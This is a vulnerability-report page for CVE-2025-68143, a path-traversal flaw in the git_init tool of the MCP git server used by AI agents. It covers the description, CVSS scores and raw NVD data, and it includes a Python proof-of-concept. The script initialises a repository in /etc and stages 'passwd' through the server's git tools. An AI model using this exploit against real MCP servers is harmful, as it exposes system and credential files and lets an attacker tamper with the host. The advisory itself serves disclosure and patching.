Security Vulnerability Report
中文
CVE-2025-68143 CVSS 8.8 HIGH

CVE-2025-68143

Published: 2025-12-17 23:16:05
Last Modified: 2026-04-14 15:30:52

Description

Model Context Protocol Servers is a collection of reference implementations for the model context protocol (MCP). In mcp-server-git versions prior to 2025.9.25, the git_init tool accepted arbitrary filesystem paths and created Git repositories without validating the target location. Unlike other tools which required an existing repository, git_init could operate on any directory accessible to the server process, making those directories eligible for subsequent git operations. The tool was removed entirely, as the server is intended to operate on existing repositories only. Users are advised to upgrade to 2025.9.25 or newer to remediate this issue.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:lfprojects:model_context_protocol_servers:*:*:*:*:*:*:*:* - VULNERABLE
mcp-server-git < 2025.9.25

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68143 PoC - mcp-server-git arbitrary filesystem access via git_init # Affected: mcp-server-git < 2025.9.25 import json import requests # MCP Server endpoint (typically localhost in development) MCP_SERVER_URL = "http://localhost:3000/mcp" def exploit_git_init_arbitrary_path(target_path): """ Exploit: Call git_init tool with an arbitrary filesystem path to initialize a Git repository at a location outside the intended scope. """ payload = { "tool": "git_init", "arguments": { "path": target_path # e.g., "/etc", "../../sensitive_dir", "/root" } } try: response = requests.post(MCP_SERVER_URL, json=payload, timeout=10) result = response.json() print(f"[+] git_init called on: {target_path}") print(f"[+] Response: {json.dumps(result, indent=2)}") return result except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def exploit_git_operations_after_init(repo_path, file_to_read): """ After git_init on arbitrary path, perform git operations to read/write files. """ operations = [ { "tool": "git_status", "arguments": {"repo_path": repo_path} }, { "tool": "git_add", "arguments": { "repo_path": repo_path, "files": [file_to_read] # e.g., "/etc/passwd" } }, { "tool": "git_commit", "arguments": { "repo_path": repo_path, "message": "malicious commit via CVE-2025-68143" } } ] for op in operations: try: response = requests.post(MCP_SERVER_URL, json=op, timeout=10) print(f"[+] Operation {op['tool']} executed: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Operation failed: {e}") def main(): # Step 1: Initialize Git repo in /etc directory (arbitrary filesystem access) target = "/etc" exploit_git_init_arbitrary_path(target) # Step 2: Perform git operations on the initialized directory exploit_git_operations_after_init(target, "passwd") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68143", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:16:04.560", "lastModified": "2026-04-14T15:30:51.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Model Context Protocol Servers is a collection of reference implementations for the model context protocol (MCP). In mcp-server-git versions prior to 2025.9.25, the git_init tool accepted arbitrary filesystem paths and created Git repositories without validating the target location. Unlike other tools which required an existing repository, git_init could operate on any directory accessible to the server process, making those directories eligible for subsequent git operations. The tool was removed entirely, as the server is intended to operate on existing repositories only. Users are advised to upgrade to 2025.9.25 or newer to remediate this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:model_context_protocol_servers:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.9.25", "matchCriteriaId": "38010710-83CE-41D1-B6C5-60746C0F6F29"}]}]}], "references": [{"url": "https://github.com/modelcontextprotocol/servers/commit/eac56e7bcde48fb64d5a973924d05d69a7d876e6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-5cgr-j3jf-jw3v", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}